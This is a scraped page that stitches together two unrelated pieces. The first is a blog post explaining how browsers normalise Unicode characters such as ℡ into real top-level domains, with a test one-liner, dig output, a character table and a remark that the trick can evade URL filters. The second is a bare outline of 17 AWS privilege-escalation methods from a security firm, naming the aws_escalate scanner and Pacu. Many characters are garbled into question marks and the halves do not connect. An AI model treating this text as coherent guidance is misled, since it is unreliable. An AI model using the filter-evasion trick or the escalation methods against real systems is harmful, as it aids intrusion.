• Math sans bold https://????????????????????????????.????????????/
• Math sans bold italic https://????????????????????????????.????????????/
• Math sans italic https://????????????????????????????.????????????/
• Math Squared https://????????????????????????????.????????????/ NB the dot must not be squared
• Circled https://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ/ NB the dot must not be circled

There are a whole bunch more miscellaneous characters you can use:

How does this work?

Magic! Which is to say, I think it is the browser doing the conversion. DNS Servers don’t successfully reply to queries about .℡ domains.

The browser sees the .℡ and then follows the IDNA2008 process listed in RFC5895 to normalise it:

The ℡ entry is:

U+0054 is T, U+0045 is E, U+004C is L.

You can test this in Python using:

python -c 'import sys;print sys.argv[<span class="hljs-number">1</span>].decode(<span class="hljs-string">"utf-8"</span>).encode(<span class="hljs-string">"idna"</span>)' <span class="hljs-string">"℡"</span>

Does this work?

Yes! I asked people on Twitter whether they could access my website using a .℡ — and it appeared to work on every modern browser and operating system.

It even works on command line tools like 

 and 

.

It does fail in some circumstances:

What are the limitations?

Two main ones:

• Sites like Twitter and Facebook don’t recognise it as a valid URl and refuse to auto link it.
• Some command line tools like 
  dig

   and 

  host

   don’t understand it

dig edent.℡



; <<>> DiG 9.10.6 <<>> edent.℡

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 55282

Is this useful?

Obviously yes. This may be the most important discovery of the decade. You get cool looking URls and get to save a couple of characters on specific domains, at the minor expense of working inconsistently.

It could also be used for evading URl filters.

Every modern browser supports these «fancy» domain names — but most websites won’t automatically link to them. So sharing on Facebook doesn’t work.

Where can it be used?

Here are the single characters which can be normalised down to a valid TLD. They’re mostly country codes, but there are a few interesting exceptions:

• ㏕

   — US Military

• ℡

   — .tel registry

• №

   — Norway

• ㍳

   — Australia

• ㍷

   — Dominica

• ㎀

   — Panama

• ㎁

   — Namibia

• ㎃

   — Morocco

• ㎊

   — French Polynesia

• ㎋

   — Norfolk Island

• ㎏

   — Kyrgyzstan

• ㎖

   — Mali

• ㎙

   — Federated States of Micronesia

• fi

   — Finland

• ㎜

   — Myanmar

• ㎝

   — Cameroon

• ㎞

   & 

  ㏎

   — Comoros

• ㎰

   — Palestine

• ㎳

   — Montserrat

• ㎷

   & 

  ㎹

   — Republic of Maldives.

• ㎺

   — Palau

• ㎽

   & 

  ㎿

   — Malawi

• ㏄

   — Cocos (Keeling) Islands

• ㏅

   — Democratic Republic of Congo

• ㏉

   — Guyana

• ㏗

   — Philippines

• ㏘

   — Saint Pierre and Miquelon

• ㏚

   — Puerto Rico

• ㏛

   — Suriname

• ㏜

   — El Salvador

• ℠

   — San Marino

• ™

   — Turkmenistan

• st

   & 

  ſt

   — São Tomé and Príncipe

• ㎇

   — Great Britain (Obsolete)

• ß

   — South Sudan (Not available)

• ㏌

   — India and Indiana (subdomain of .us)

• Ⅵ

   & 

  ⅵ

   — Virgin Islands and Virginia (subdomain of .us)

• fl

   — Florida (subdomain of .us)

• ㎚

   — New Mexico (subdomain of .us)

• ㎵

   — Nevada (subdomain of .us)

• ㍵

   — As part of .ovh

If you can find any more, please stick a comment in the box below.

You can always reach this blog post at:

https://????????????ₛᵖ????.ⓜ????????????/????????????/

( Original text by rhinosecuritylabs )

Why is this Important?

Specific AWS Escalation Methods

1. Creating a new policy version

2. Setting the default policy version to an existing version

3. Creating an EC2 instance with an existing instance profile

4. Creating a new user access key

5. Creating a new login profile

6. Updating an existing login profile

7. Attaching a policy to a resource

8. Updating an inline policy for a resource

9. Adding a user to a group

10. Updating the AssumeRolePolicyDocument of a role

11. Passing a role to a new Lambda function, then invoking it

12. Passing a role to a new Lambda function, then triggering it with DynamoDB

13. Updating the code of an existing Lambda function

14. Passing a role to a Glue Development Endpoint

15. Updating an existing Glue Dev Endpoint

16. Passing a role to CloudFormation

17. Passing a role to Data Pipeline

Scanning for Permission Flaws: aws_escalate

aws_escalate Usage and Example

Defense and Mitigation

Preview: AWS Exploitation and Pacu

Pacu Beta Testing